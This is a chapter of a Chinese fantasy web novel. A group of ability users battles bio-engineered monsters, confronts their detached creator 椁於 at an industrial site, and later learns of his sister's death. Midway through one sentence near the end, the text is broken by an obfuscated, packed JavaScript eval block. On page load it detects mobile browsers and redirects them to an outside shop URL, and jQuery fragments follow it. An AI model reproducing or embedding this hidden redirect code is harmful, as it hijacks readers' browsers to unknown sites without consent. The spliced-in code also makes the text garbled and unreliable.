水母事件后,静园过了几天安生日子。裴衍的胳膊彻底好了,又开始恢复每天睡到日上三竿的优良传统。
陆时忆变本加厉地围着江妤转,虽然百分之九十的时间都在收获白眼。
日子好像又回到了之前那种吵吵闹闹又还算平静的状态。直到宋听澜某天傍晚从药房出来,手里拿着份分析报告。
“那黏液里有生物改造的痕迹,而且是很高级的那种,不是自然变异。”
所有人都围了过来。
报告上写满了专业术语和化学符号,看得人眼晕。
但结论那一行字大家都看懂了:该生物体内存在非自然基因序列片段,疑似人为植入并诱导。
“人为的?”陆时忆抓抓头发,“谁这么无聊,造个会飞的水母出来吓人?”
“不是无聊,是实验。而且从基因序列的稳定性和表达效果来看,这实验已经进行了相当长的时间,技术相当成熟。”
沈言盯着报告:“意思是,还有更多?”
“可能性很大。”宋听澜点头,“而且可能……越来越强。”
这话像一块石头砸进水里,让所有人都沉默了。如果那些恶心危险的异变体不是自然产生的,而是被人为制造出来的,那背后的人想干什么?
造出更强的怪物,然后呢?
毁灭世界?统治人类?还是单纯觉得好玩?
没人知道答案。
但之后几天,静园的氛围明显紧绷了许多,坏消息接踵而至。
先是北边一个村子报告说发现了“会钻地的石头人”,力大无穷,刀枪不入,把村口的老井都给砸塌了。裴衍和时聿赶过去,花了大力气才把那东西打碎,发现核心是一块黑色跳动的石头,碎掉之后散发出一股恶臭的毒气,差点把两人熏晕过去。
紧接着西边山林里出现了“吐酸雨的蜗牛”,外壳硬得离谱,普通攻击根本打不破,得用特定频率的声波才能震碎。
陆时忆被派去处理,回来的时候头发被酸雨烧焦了一撮,气得他三天没照镜子。
而最近又出现了种怪物,是一个“长得像记忆里死去之人的幽灵”,碰一下就会让人失忆。
宋听澜研究了半天,最后发现那东西怕强光,尤其怕光系异能。
可惜他们这群人里没一个会发光的,最后是江淮年用火系异能硬烧,配合沈言用雷系制造强闪光,才勉强把那玩意儿净化掉,过程中江淮年还不小心碰到了一下,差点把昨天晚饭忘了。
这些怪物按陆时忆的吐槽来讲就是一个比一个丑。
而且一个比一个难对付,明显是同一个路子出来的。
生物改造,人为制造,目的不明。
众人像救火员一样东奔西跑,累得够呛,但怪物的出现频率却越来越高,种类也越来越杂。
“这不对劲。”某天晚上,所有人聚在院子里吃饭时,裴衍难得主动开口,声音里带着掩饰不住的疲惫,“太密集了,像有人在故意投放,测试效果。”
“测试什么效果?”江淮年往嘴里扒拉米饭,含糊不清地问。
“测试怪物的战斗力,测试我们的应对能力,测试承受极限。”宋听澜接话,他面前摆着厚厚一叠报告,都是这段时间收集的数据,“你们发现没,这些怪物虽然难对付,但都没有造成大规模伤亡。它们更像是在挑衅,或者说,试探。”
如果真是这样,那幕后之人的实力该有多恐怖?能批量制造这种怪物,还能精准投放到不同地点,观察他们的反应……这已经不是普通的疯狂科学家能解释的了。
“得把这个人揪出来。”陆时忆咬牙切齿,“不然没完没了,烦死了,我现在的头发丑的没法看!”
江淮年翻了个白眼:“你以为平常的就很好看吗?”
“怎么揪?”时聿推了推墨镜,自然打断又一场争吵。
没人回答。敌在暗,他们在明,对方还能制造怪物,他们只能被动应对,这仗怎么打?
最后萧予开口:“等。”
“等?”江淮年不解。
“等他自己露出马脚。”萧予说,“这种大规模高频率的投放,不可能毫无痕迹。只要他继续,就一定会留下线索。我们要做的,是保存实力,收集信息,然后……”
“一击必杀。”
于是他们开始了漫长的等待和追踪。每一次怪物出现,他们不仅要去消灭,还要尽可能收集样本,记录战斗数据,分析怪物的弱点和行为模式。裴衍和时聿负责追踪怪物的来源,陆时忆和宋听澜负责数据分析和样本研究,江淮年和沈言则作为机动战力,哪里需要往哪搬。
江妤开始学习基础的战斗技巧,毕竟治疗这一块对她而言早已不是什么难事了,有次陆时忆被酸雨腐蚀了半边肩膀,就是她用水雾一点点清理愈合才没留下永久性损伤。
陆时忆感动得眼泪汪汪,说江妤妹妹你就是我的救命恩人我以后做牛做马报答你,被江妤一句“闭嘴,吵死了”怼了回去。
日子在紧张和忙碌中过去。夏天来了,静园里的蝉鸣吵得人心烦。江淮年和沈言的对练已经从单纯的能量碰撞升级到了战术配合,两人一个冰火交织范围轰炸,一个混合精准点杀,配合越来越默契,有时候甚至不用说话,一个眼神就知道对方想干什么。
陆时忆为此很是不忿:“你俩什么时候背着我好上的?默契度这么高!”
沈言回他一个字:“滚。”
江淮年更直接,一团火球砸过去,差点把陆时忆新长出来的头发又烧了。
就这么打打闹闹,东奔西跑了小半年,线索终于来了。
一个闷热的午后。
裴衍和时聿带回了一个坏消息,
和一个更坏的消息。
坏消息是:他们追踪到最近一批怪物的投放源头了,在西南方向两百公里外的一片废弃工业区。
更坏的消息是:那片工业区里,监测到了远超之前所有怪物的能量反应。
“不是单个怪物,是很多个,而且能量波动很杂。像一锅大杂烩。”
“大杂烩?”江淮年没听懂。
“就是什么都有。”裴衍解释,他看起来更累了,眼底有浓重的黑眼圈,“全都挤在一个地方,能量场乱得一塌糊涂。”
所有人都沉默了。一个怪物就够难对付了,一群?还是属性混杂的一群?
但若不去,等那些东西全跑出来,方圆百里都会变成地狱。
事不宜迟,当天下午他们就出发了。
工业区的空气中弥漫着浓重的铁锈味和某种难以形容的腥臭,地面随处可见干涸的黑色污渍,像是干涸的血,又像是什么东西留下的黏液。
能量反应来自最深处的厂房。
越靠近,那种混杂的能量场就越强烈。江淮年甚至能感觉到自己体内的冰火之力在躁动,像被什么东西牵引着要破体而出。
沈言的情况更糟,他脸色发白,额头渗出冷汗,几种元素在他体内横冲直撞,几乎要失控。
“稳住。这些能量场在干扰你们的异能,集中精神,别被带偏了。”
厂房的大门虚掩着,里面黑漆漆的。内部比外面看起来更大。挑高的穹顶上垂落着锈蚀的管道,地面堆积着废弃的机器和零件。而最让人头皮发麻的,是厂房中央那个东西。
那是个……很难形容的玩意儿。
它大约有三层楼高,主体像个臃肿的肉瘤,表面布满了蠕动着的包。
下方是几十条腿,支撑着它庞大的身躯。
而在顶端,镶嵌着无数颗眼睛。
真的是眼睛,人类的、动物的、甚至昆虫的复眼,密密麻麻,全都睁开着,无神地转动着,看向不同的方向。
“我靠……”陆时忆张大了嘴,“这什么玩意儿?克苏鲁亲戚?”
没人回答他。所有人都被眼前这景象震撼得说不出话。
肉瘤似乎察觉到了入侵者,顶端的眼睛齐刷刷转了过来,聚焦在他们身上。下一秒,所有包同时炸开。
五花八门的攻击像暴雨一样砸下来!整个厂房瞬间变成了元素地狱。
裴衍迅速发动异能:“散开!”土墙瞬间升起,挡住最密集的一波攻击。但只撑了三秒就崩碎了,那些攻击的威力远超想象。
时聿已经潜入阴影,试图从侧面接近,但那东西的腿忽然抬起,重重踏下,震波让整个厂房都在摇晃,时聿被迫现身,踉跄后退。
陆时忆的电光打在它上面,只留下一个焦黑的印记,瞬间就被新生的包覆盖。宋听澜的藤蔓刚缠上去就被烧成灰烬。
江淮年和沈言同时出手,成功炸开了两个大洞,黑色黏液喷涌而出。
但洞口的血肉疯狂蠕动,以肉眼可见的速度愈合,不到十秒就恢复如初。
这怎么打?
这东西恶心的像开了挂。
攻击跟不上愈合速度,防御又挡不住那么多种类的元素轰炸。几个人被逼得节节后退,只能勉强护住自己不被击中。
“找核心!这种缝合怪肯定有核心!找到它,破坏它!”
说得容易,但这玩意那么大,包那么多,眼睛密密麻麻,谁知道核心藏在哪儿?
战斗陷入僵局。几个人狼狈地躲避着攻击,偶尔反击,但收效甚微。
江淮年的胳膊被冰锥擦过,划开一道口子,鲜血直流。沈言的肩膀被电光击中,半边身子都麻了。江妤的水雾一刻不停地治疗着,但伤口太多,恢复速度远远跟不上受伤速度。就在所有人以为要撑不住的时候,那东西忽然停了下来。
不是停止攻击,而是所有动作都停了。
包不再炸开,眼睛不再转动,腿也不再移动。
它就那么静静地矗立在厂房中央。
然后,一个声音响了起来。
“就这点本事吗?”
声音很年轻,带着点……失望?
所有人都愣住了。这声音不是从肉瘤里发出来的,而是从厂房二楼的一个控制台方向传来的。那里原本堆满了废弃的机器,此刻却被清理出一块空地,摆着一张看起来很舒适的扶手椅。
椅子上坐着一个人。
看起来二十出头,翘着二郎腿,一只手支着下巴,正饶有兴致地看着下面这场混战。
他长得出人意料的很好看。
冷淡又带着点厌世感。
头发是黑色,眼睛是浅灰色,像蒙了一层雾,没什么情绪。
他就那么坐着,看着下面狼狈的几个人,脸上没什么表情,但眼神里那种“啊好无聊”的意味几乎要溢出来。
“你是谁?”裴衍沉声问,手已经按在了腰间的短刀上。
年轻人没回答,而是站起身,慢悠悠地从二楼走下来。
他的动作像在自家后院散步一样随意,完全没把下面那个三层楼高的肉瘤怪物放在眼里。
他走到肉瘤旁边,伸手拍了拍那恶心的表面,像在拍自家宠物的脑袋。
“我养的。还不错吧?集合了十几种元素属性,几百多个实验体的精华。就是丑了点,但实用。”
所有人都觉得后背发凉。养?这种怪物是能养的吗?
“那些水母、石头人、蜗牛、幽灵……都是你弄出来的?”宋听澜问,声音还算平静。
“嗯。”年轻人点点头,“小玩具,测试一下数据。结果嘛……”他扫了几人一眼,“马马虎虎吧。比普通人强点,但也就那样。”
这话说得太欠揍了。
陆时忆当场就炸了:“马马虎虎?你管那叫小玩具?你知道我们为了对付那些玩意儿费了多大劲吗?!”
年轻人瞥了他一眼:“费劲说明你们弱。”
“你!”
“你是椁於?”一直没说话的时聿突然开口。
椁於挑了挑眉:“你认识我?”
“听人提过。没想到你躲在这里。”
椁於轻轻笑了。
那笑容很淡,没什么温度:“躲?我只是找个安静的地方做实验而已。”
“用这些怪物找事做?”沈言的声音冷得像冰,“你知道它们杀了多少人吗?”
“知道啊。”椁於回答得理所当然,“实验总要有牺牲品嘛。而且那些人死了,跟我也没关系,是怪物杀的,不是我。”
这逻辑简直让人火大。
江淮年拳头都硬了。
“你的目的是什么?”萧予问。
“目的?”椁於歪了歪头,似乎真的在思考,“一开始是想造点有趣的东西玩玩。后来嘛,想看看这个世界到底能承受多少异常。再后来……”他顿了顿,浅灰色的眼睛扫过众人,“想看看有没有人能阻止我。”
他指了指身后的肉瘤:“这是目前最成功的作品,我管它叫混沌。理论上没有弱点。但实战还没试过。你们要试试吗?”
试试?试什么?跟这个肉瘤打?开什么玩笑!
“我们不是你的实验品。”裴衍说。
“但现在你们是了。”椁於的语气依旧平淡,“要么打败混沌,要么被混沌打败。二选一,很简单。”
说完,他打了个响指。
混沌动了。
比之前更快,更狂暴,所有包同时鼓胀,然后炸开。
“不能硬拼!”宋听澜喊道,“找核心!肯定有核心!”
陆时忆一边狼狈地躲闪着混合攻击一边吼,“这么大一坨,核心在哪儿?!”
沈言忽然开口,死死盯着混沌肉瘤的顶端,“那些眼睛中间!”
众人顺着他指的方向看去。在密密麻麻的眼睛中央,有一个不起眼的黑色晶体,被层层血肉包裹着,只露出一点边角。
“攻击那里!”
混沌似乎察觉到了他们的意图,所有攻击都集中在了眼睛周围,形成了一个密不透风的防御网。
别说攻击核心了,连靠近都做不到。
“我去。”时聿忽然说。他推了推墨镜,身形一晃,融入阴影,试图从地面潜行过去。
但混沌的腿猛地抬起,重重踏下。
震波让整个厂房都在摇晃,时聿被迫从阴影中现身,一口血喷了出来。
“不行!它感应得到地面震动!”
“那从上面!”江淮年抬头看向穹顶,“从上面攻击!”
“我送你上去!”裴衍双手按地,一根土柱拔地而起,托着江淮年冲向穹顶。
快了,就差一点……
然而几条藤蔓触手闪电般射来,缠住土柱,用力一绞,土柱崩碎,江淮年从半空摔下,被沈言接住,两人滚成一团。
“妈的。”江淮年骂了一句,胳膊上的伤口又裂开了,鲜血直流。
江妤的水雾及时笼罩过来,伤口开始愈合,但速度很慢。她的异能快耗尽了,脸色白得像纸。
难道真的要栽在这里?
就在这时,椁於忽然开口了:“嗯……差不多了。”
什么差不多了?
只见他慢悠悠地走到控制台边,按了几个按钮。
混沌的动作忽然慢了下来,攻击也变得稀疏拉拉。
“数据收集够了。”椁於看着屏幕上的曲线图,语气里带着点满意,“啧,续航还是不行,得改进。”
他完全无视了下面如临大敌的几个人,自顾自地记录着数据,然后按下了另一个按钮。
混沌庞大的身躯忽然剧烈颤抖起来。表面的包开始萎缩,眼睛一个个闭上,腿也开始收缩。
短短十几秒,那个三层楼高的怪物就缩水成了一团烂肉,瘫在地上不动了。
“行了,测试结束。”椁於关掉屏幕,转身看向目瞪口呆的几个人,“你们赢了,虽然赢得很勉强。”
“你……”陆时忆张了张嘴,不知道该说什么。
“我什么我?”椁於耸耸肩,“实验做完了,数据拿到了,这东西没用了。你们要处理就处理吧,反正我也懒得收拾。”
他说得那么理所当然,仿佛刚才那场生死搏斗只是一场无关紧要的游戏。
“你不怕我们杀了你?”
“杀我?”椁於笑了笑,那笑容里没什么情绪,“随便啊。我觉得,至少目前看来,你们还没有这个能力。”
这话说的极其装逼。偏偏也没人能反驳。
“这个世界挺无聊的。没意思,真的。你们走吧。今天的事,就当没发生过。混沌的核心在那边,”他指了指那团烂肉,“打碎它,这玩意儿就彻底死了。至于我……”
“我自己会处理。”
说完,他不再看他们,而是走回控制台,开始收拾东西。
那架势,是真的准备离开了。
这下几个人是真有点懵了。椁於这人什么意思?
打?对方好像没有敌意了,而且他们确实也打不过。
不打?刚才差点被他的宠物弄死。而且他那些话是什么意思?自己处理?
最后裴衍先走到混沌的尸体旁,找到了那颗黑色晶体,一掌拍碎。
晶体碎裂的瞬间,那团烂肉迅速干瘪风化,最后化为一堆灰烬。
“我们走吧。”
裴衍最后看了眼椁於,随后跟着其他人离开了厂房。
夕阳西下,把他们的影子拉得很长。厂房里,椁於还在慢悠悠地收拾东西,像在准备一次寻常的搬家。
回静园的路上,没人说话。每个人都憋着一肚子疑问和火气,但不知道该怎么发泄。
直到车子开进静园,江妤才小声问了一句:“那个人到底想干什么?”
没人能回答。
几天后,宋听澜再次去了那片工业区。
厂房已经空了,控制台和仪器都不见了,连张纸片都没留下。椁於就像从未出现过一样,消失得干干净净。
又过了半个月。
打从工业区回来之后,静园里那股紧绷的劲儿松了大半。
倒不是彻底放松了,主要是累的。
跟那个缝合怪打了一架,每个人都挂彩,回来躺了三天才缓过劲儿来。
裴衍的懒劲儿彻底回归,每天不到中午绝不起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119454|195948||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
床,起了床也是哈欠连天,挪到院子里往躺椅上一瘫,能不动就不动。
陆时忆试图拉他起来训练,被一句“滚,别烦我”怼了回去。
“裴石头你这是消极怠工!”陆时忆痛心疾首。
裴衍眼睛都没睁:“有意见找师父去。”
陆时忆还真去了,然后被萧予一句“让他歇着吧,确实累着了”给打发回来了。
行吧,师父都发话了。
沈言和江淮年倒是没歇着,但训练强度也降了不少。
主要是训练场被他们之前拆得太狠,得重新修整。
萧予划了块新地方,但要求他们“控制点力度,别再把地炸了”。
“这能怪我们吗?”江淮年一边搬石头一边抱怨,“那玩意儿火力那么猛,我们不拼尽全力早被轰成渣了。”
沈言在旁边铲土,没接话,但显然也是这个意思。
宋听澜还是整天泡在药房里,不过这次研究的不是怪物样本了,而是配调理身体的药膳。他说大家气血都有亏损,得好好补补。
于是那几天静园的饭菜格外丰盛,鸡汤鱼汤排骨汤轮着来,喝得陆时忆直打饱嗝。
江妤的水系异能进步明显,现在不光能治外伤,连裴衍那种陈年内伤都能调理调理。
陆时忆为此很是吃醋。
“江妤妹妹,你为什么不对我这么好!”
江妤:“你皮厚,用不着。”
陆时忆:“qvq”
日子就这么不咸不淡地过了个把月。
直到某天下午,陆时忆从市集回来,脸色有点怪。
“你们猜我听见啥了?”他凑到饭桌前,压低声音,神神秘秘的。
“有话就说。”裴衍眼皮都没抬,慢悠悠地喝着汤。
“我听说啊,”陆时忆清了清嗓子,“西南工业区那边,十几年前出过一档子事儿。”
饭桌上安静了一瞬。所有人都抬起头看着他。
“啥事儿?”江淮年问。
“一对姐弟,姐姐是异能者,弟弟是普通人。”
“姐姐天赋挺好的,但性子独,不爱跟那些异能者打交道。结果也不知道怎么的,就跟那群人结了仇。有天那群人找上门,说姐姐修炼邪术,危害社会,要清理门户。”
“然后呢?”
“然后就打起来了呗。”陆时忆叹气,“姐姐一个人打七八个,最后力竭,死了。那群人走的时候还放话,说这是为民除害,死有余辜。”
“那弟弟呢?”江淮年问。
“失踪了。”陆时忆摇头,“有人说他疯了,有人说他跳河了,也有人说看见他往深山里去了。反正再也没人见过。
宋听澜放下筷子,轻声问:“那姐姐……叫什么名字?”
“不知道,没人提名字,就说是个挺漂亮的姑娘,头发长长的,眼睛很亮。不过我听那些老人说,她弟弟那时候才十来岁,瘦瘦小小的,总跟着姐姐后面,也不爱说话。”
江淮年忽然想起在厂房里,椁於那双灰蒙蒙眼睛,还有那句“这个世界挺无聊的”。
“所以他造那些怪物……”江妤小声说,“是为了报仇?”
裴衍难得开口:“不像。真想报仇,直接去找当年那些人就行了,没必要搞这么大阵仗。”
“那是为什么?”陆时忆不解。
“可能是想证明点什么吧。或者纯粹就是觉得这个世界烂透了。”
那天晚上,江淮年翻来覆去睡不着。
他爬起来,推开窗户,看着外面黑漆漆的院子。
月光很淡,洒在青石板路上,像一层薄薄的霜。
他想起椁於最后说的那句话,“我自己会处理”。
处理什么?处理那些实验数据?处理那个厂房?还是处理他自己?
江淮年不知道。
但他有种感觉,椁於可能再也不会出现了。
第二天,萧予把所有人都叫到书房。
老人面前摊着一张地图,上面用红笔圈出了几个地方。
“西南工业区的事,暂时告一段落。但那些怪物造成的破坏还在,附近的村镇人心惶惶,我们需要去做些善后工作。”
善后工作,说白了就是清理残留的怪物尸体,安抚受惊的村民,顺便看看有没有什么后续影响。
任务不算难,就是琐碎。忙忙碌碌了一个多星期,总算把几个地方的烂摊子收拾得差不多了。回静园的路上,几个人都蔫了吧唧的,话都懒得说。
“这叫什么事儿啊。”陆时忆瘫在车后座,有气无力,“打架的是我们,擦屁股的还是我们。那个椁於倒好,拍拍屁股走人了,留一堆麻烦。”
“不然呢?”裴衍闭着眼养神,“你还想找他报销劳务费?”
“那倒不是……就是觉得憋屈。”
是挺憋屈的。但憋屈也没办法,事情已经发生了,总得有人收拾。
回到静园,江妤已经准备好了热水和饭菜。几个人洗了澡,换了干净衣服,围在饭桌前狼吞虎咽。
“还是家里舒服。”江淮年扒拉着米饭,含糊不清地说。
“家?”沈言挑了挑眉。
“怎么,这儿不是你家?”江淮年反问。
沈言没说话,低头吃饭,但耳根子有点红。
饭后,几个人聚在院子里闲聊。月色很好,风吹着银杏叶子沙沙响。
“你们说,”陆时忆忽然开口,“那个椁於,现在在哪儿呢?”
没人知道。可能躲在哪个角落里继续他的疯狂实验,可能已经离开了这片区域,也可能真的像他说的那样,自己处理了。
“不管在哪儿,”裴衍打了个哈欠,“别再来找麻烦就行。我懒得再跟他那些丑八怪打架了。”
“同意。”时聿言简意赅。
宋听澜笑眯眯地递过来一盘水果:“吃点,润润喉。”
江妤坐在廊下,看着他们斗嘴,嘴角微微扬了扬。
日子好像又回到了正轨。训练、吃饭、睡觉、偶尔拌嘴。西南工业区的事渐渐成了茶余饭后的谈资,偶尔提起,也是“那个疯子”“那些丑八怪”之类的代称。
但江淮年能感觉到大家之间的默契更深了。不用多说,一个眼神就知道该怎么配合。
就这样又过了两个月。秋天来了,银杏叶子开始泛黄,风里带着凉意。
某天下午,江淮年去市集买东西,听见几个老人在茶馆里聊天。聊着聊着,就聊到了十几年前西南工业区那对姐弟。
“那姑娘可惜了,”一个白发老人摇头,“多好一孩子,就是性子倔,不肯服软。”
“那群人也不是什么好东西,打着正义的旗号,干的都是排除异己的勾当。那姑娘就是太出头了,挡了他们的路。”
“她弟弟后来呢?真找不着了?”
“找啥啊,估计早没了。那么小一孩子,亲眼看着姐姐死在面前,能不疯吗?”
江淮年站在茶馆外,听着那些零零碎碎的讲述,心里说不上是什么滋味。
他忽然有点理解椁於了,如果换作是他,亲眼看着江妤死在自己面前,而杀人者还趾高气扬地说这是正义,他可能也会疯,也会想毁了这一切。
但理解归理解,该做的还得做。
那些怪物害了人是事实,椁於放任不管也是事实。错了就是错了,没得洗。
买完东西回到静园,江淮年把听到的跟大伙儿说了说。饭桌上沉默了一会儿。
“所以他就是想报复社会?”
“也不全是。”宋听澜想了想,“可能一开始是恨,恨那些害死他姐姐的人,恨这个不公的世界。
但恨着恨着,就麻木了,觉得什么都没意思了,于是开始搞那些实验,一半是报复,一半是找点乐子?”
这个解释听起来更合理。但不管是哪种,都改变不了他害死很多无辜者的事实。
“行了,别琢磨了。”裴衍摆摆手,“人都走了,琢磨这些有啥用。吃饭吃饭,菜都凉了。”
也是。人都找不着了,想再多也没用。
等秋中时,萧予把所有人都叫到跟前,说要检验一下这几个月的修炼成果。
检验方式很简单。跟萧予打。
“你们一起上,能碰到我就算你们赢。”
几个人面面相觑。
一起上?打师父?这能行吗?
结果当然是不行。
几个人轮番上阵,异能齐出,把训练场炸得乌烟瘴气,但连萧予的衣角都没摸到。
他就像一阵风,在密集的攻击中穿梭自如,轻轻一点就能破掉他们的攻势。
打了半个时辰,他们累瘫在地,萧予还气定神闲地站着。
“还行,比几个月前强了不少。但配合还是生疏,时机把握不准。”
他挨个点评了一遍,萧予最后总结:“继续练。什么时候能碰到我,什么时候算入门。”
几人躺在地上,看着头顶湛蓝的天,同时叹了口气。
任重而道远啊。